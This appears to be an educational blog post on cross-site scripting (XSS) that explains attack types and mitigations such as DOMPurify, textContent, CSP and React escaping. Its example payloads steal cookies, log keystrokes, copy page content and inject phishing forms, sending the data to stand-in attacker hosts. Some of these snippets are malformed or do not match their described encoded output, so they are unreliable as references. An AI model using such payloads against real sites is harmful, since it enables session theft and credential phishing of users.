Understanding and Mitigating XSS Attacks in Web Applications
Cross-site scripting (XSS) is a menacing threat to web application security, allowing attackers to inject malicious scripts into websites, potentially leading to data theft, session hijacking, and unauthorized activities. This blog post delves into the anatomy of XSS vulnerabilities, their types, examples, and most importantly, the strategies to mitigate them.
The Anatomy of XSS Vulnerabilities
At its core, XSS enables an attacker to embed arbitrary code within the website via the URL entered inside a browser. Though modern browsers take care of this by disallowing/removing <script> tags inside URL params, threats still exist. If any external injected code executes in the context of the user's browser, leading to potential malicious activities like cookie theft, data exfiltration, or even taking over a user's session.
An example of an XSS attack would be
http://example.com/welcome.html?user=%3Cimg%20src%3D%22invalid-url%22%20onerror%3D%22https%3A%2F%2Fattacker.com%2Fdata%3D%24%7Bdocument.cookie%7D%22%3E
http://example.com/welcome.html?user=%3Cimg%20src%3D%22invalid-url%22%20onerror%3D%22https%3A%2F%2Fattacker.com%2Fdata%3D%24%7Bdocument.cookie%7D%22%3E
In the above example, an attacker is attempting to steal the cookie of the users.
It first creates a script to extract the browser cookies.
<imag src="invalid-url" onerror="
https://attacker.com/data=${document.cookie}
;;document.querySelector('body').appendChild('img')">
then it encodes it using encodeURIComponent. The output looks like this
%3Cimg%20src%3D%22invalid-url%22%20onerror%3D%22document.querySelector('body').appendChild(document.createElement('img'))%22%3E
After creating the encoded script, the attacker can inject it inside the vulnerable websites using different techniques.
This type of attack is called "Session Hijacking". Not just extracting data via fetch requests, other types of attacks are also possible which we will have a look at below.
Types of XSS Attacks
Note:- You can run the code snippets provided below inside the browser console and append encoded output to the URL of any local live server started on a dummy index.html file in your system
eg. http://localhost:8080/index.html/user={output-of-code-snippets}
Unauthorized Activities:
If the attacker has prior knowledge of functions existing within the codebase of website eg. function createTransaction() inside a bank website, he can use that function call inside his encoded script to create a fake transaction from the users account. Other examples can be like sending messages to user on social media sites.encodeURIComponent("createTransaction(localStorage.getItem('usercred'), targetAccountId, amount)")
(Yes, some codebases do use localstorage to store user credentials🙈)
Keystroke Logging:
XSS can be used to capture every keystroke a user makes on a compromised webpage, leading to the theft of sensitive information. An example would be to log every keystroke on a page that tells the user to enter card details.
encodeURIComponent("<script>document.addEventListener('keypress', function(e) {const key = String.fromCharCode(e.which); fetch(`
https://attacker.example.com/log?key=${key}`);});</script>
;});)")
DOM Hijacking
As the name suggests, an attacker can hijack the DOM itself and get access to the content inside it. This can be particularly harmful if the DOM stores and financial or personal data inside it.encodeURIComponent("
https://attacker.com/data=${document.innerHTML}
;;document.querySelector('body').appendChild('img')" />")
Phishing Attack
By injecting fake forms or altering webpages, attackers can deceive users into providing sensitive information.
encodeURIComponent(`<script> const form = document.createElement('form'); form.action = '
https://attacker.example.com
'; form.innerHTML = \`<input type="text" placeholder="Username" name="username"> <input type="password" placeholder="Password" name="password"> <input type="submit" value="Login">\`; document.body.appendChild(form); </script>`);"
Let's now look at some mitigation strategies
Mitigation Strategies
Sanitize User Input Using library like DOMPurify
let paramValue = new URLSearchParams(window.location.search).get('param'); // Sanitize the parameter paramValue = DOMPurify.sanitize(paramValue); // Use the sanitized value
Leverage the sanitize
function provided by the DOMPurify library, which proficiently addresses nearly all instances of user XSS (Cross-Site Scripting) by handling encoding and decoding operations seamlessly behind the scenes.
- Use a Framework
Incorporating a robust library such as React is highly recommended for developing web applications, owing to its extensive built-in functionalities designed to enhance security, particularly in mitigating risks associated with malicious code injection through URL parameters. React's architecture inherently safeguards against many common web vulnerabilities. For example, when rendering content dynamically within JSX components, React automatically escapes strings derived from URL parameters, thus preventing the potential execution of malicious scripts.
Use
textContent
for Text InsertionWhen inserting text that doesn't require HTML formatting, use
textContent
to avoid inadvertently executing embedded scripts.const userInput = "<script>alert('XSS');</script>"; document.getElementById('displayText').textContent = userInput; // Safely displayed as text
Utilize Content Security Policy (CSP)
Configure CSP headers to control the sources from which your application can load resources, effectively blocking malicious script execution.
A practical approach to integrating CSP within a web application is through the backend server infrastructure, utilizing frameworks such as Express.js for Node.js applications. This can be achieved by crafting a dedicated middleware function articulating the CSP directives.
app.use((req, res, next) => { res.setHeader( 'Content-Security-Policy', "default-src 'self';" ); next(); })
Closing Thoughts
Mitigating XSS attacks requires a deep understanding of web application vulnerabilities and a commitment to implementing robust security measures. By adopting best practices in input handling and sanitization, leveraging modern frameworks, and utilizing tools like CSP, developers can significantly reduce the risk of XSS vulnerabilities in their applications. Remember, security is an ongoing process that demands vigilance and continuous improvement.
Subscribe to my newsletter
Read articles from Kshitij Kakade directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by